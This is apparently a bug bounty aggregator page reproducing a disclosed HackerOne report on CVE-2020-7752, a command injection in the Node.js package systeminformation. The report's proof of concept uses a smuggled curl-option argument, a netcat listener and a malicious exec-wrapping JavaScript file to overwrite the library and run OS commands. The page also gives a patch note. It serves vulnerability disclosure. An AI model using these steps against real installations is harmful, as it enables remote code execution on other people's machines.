Skip to content
RCE Disclosed report Intermediate

[systeminformation] Command Injection via insecure command formatting

The systeminformation package passed user-supplied URLs into a shell command without proper escaping, allowing an attacker to inject curl options that overwrite a JavaScript file in the package. After overwriting that file, the attacker could execute arbitrary OS commands.

effectrenan Follow

Originally disclosed on HackerOne

Critical View original
  • Fixed in 4 months
  • Disclosed after 4 months

Summary by the researcher

CVE-2020-7752.

The report

I would like to report a Command Injection vulnerability in the systeminformation package. It allows an attacker to inject arbitrary OS commands.

Module

Module name: systeminformation Version: 4.26.10 npm page: https://www.npmjs.com/package/systeminformation

Module Description

System and OS information library for node.js.

Module Stats

Weekly downloads: 363.195

Vulnerability

Vulnerability Description

The attacker can concatenate curl parameters to overwrite a Javascript file of the package and then execute any OS commands.

The child_process.exec() function executes the following command:

Bash
curl -I --connect-timeout 5 -m 5 $urlSanitized 2>/dev/null | head -n 1 | cut -d " " -f2 # $urlSanitized is the user input

Steps To Reproduce:

Create a Javascript file with content:

JavaScript
const { exec } = require('child_process')
function inetChecksite(url) {
  return exec(url)
}
exports.inetChecksite = inetChecksite

We can use Netcat to create a TCP server to send back our Javascript file created before on 443 port:

Bash
sudo nc -nlp 443 < file.js

Execute the code bellow to overwrite the Javascript file:

JavaScript
const si = require('systeminformation')
const HOST = "127.0.0.1:443"

//The telnet was chosen to solve an issue with the protocol response check, like HTTP (HTTP/1.0 200 OK in the first line).
si.inetChecksite(`telnet://${HOST} --no-buffer -o node_modules/systeminformation/lib/internet.js`)

setTimeout(() => {
  process.exit()
}, 2000)

Now we can execute OS commands:

JavaScript
const si = require('systeminformation')
si.inetChecksite("<Some OS command>")

Patch

Replace:

JavaScript
const exec = require('child_process').exec

To:

JavaScript
const { spawn } = require('child_process')

Supporting Material/References:

  • ArchLinux 5.4.50 x64
  • NODEJS 14.5.0
  • NPM 6.14.5

Wrap up

  • I contacted the maintainer to let them know: [N]
  • I opened an issue in the related repository: [N]

Impact

An attacker can execute arbitrary OS commands on the victim's machine.

The original report as published on HackerOne, by effectrenan. Images and videos are our own copies; raw HTML is shown as text. View it on HackerOne.

Not written yet. The AI write-up for this report has not been written yet. The Original tab links to the source.

How it worked

Root cause

Likely the library used child_process.exec() with a user-controlled URL concatenated into a shell command, so curl options could be injected.

Impact

An attacker could execute arbitrary OS commands on the victim's machine.

What the attacker needed

Ability to call inetChecksite with attacker input; network access to a server on port 443

How it was found

  1. Create a malicious JavaScript file that exports a function running exec on its argument.
  2. Start a TCP server on port 443 that serves the malicious file.
  3. Call si.inetChecksite with a telnet URL and curl options to overwrite the library's internet.js file.
  4. Wait for the overwrite to complete, then call si.inetChecksite with an OS command to execute it.

Explained by bugbounty.wiki with AI from the original and checked against quotes from it; it can still be wrong. Read the original before relying on a detail.

Not written yet. The AI write-up for this report has not been written yet. The Original tab links to the source.

This library builds a curl command line from a URL you give it. Because the URL is not cleaned properly, an attacker can add extra curl options that make curl save a file into the library's own code. The attacker can then run OS commands through the library.

What is RCE?

Running the attacker's code on the target's servers: through command or code injection, unsafe deserialisation or template injection.

More by effectrenan

View all

1 more disclosed report, best first.

More from Node.js third-party modules

View all

The newest disclosed reports for this program.

Similar reports

View all

Same bug class and techniques, clearest first.

Remote code execution

The lesson behind this report.

Running the attacker's code on the target's servers: through command or code injection, unsafe deserialisation or template injection.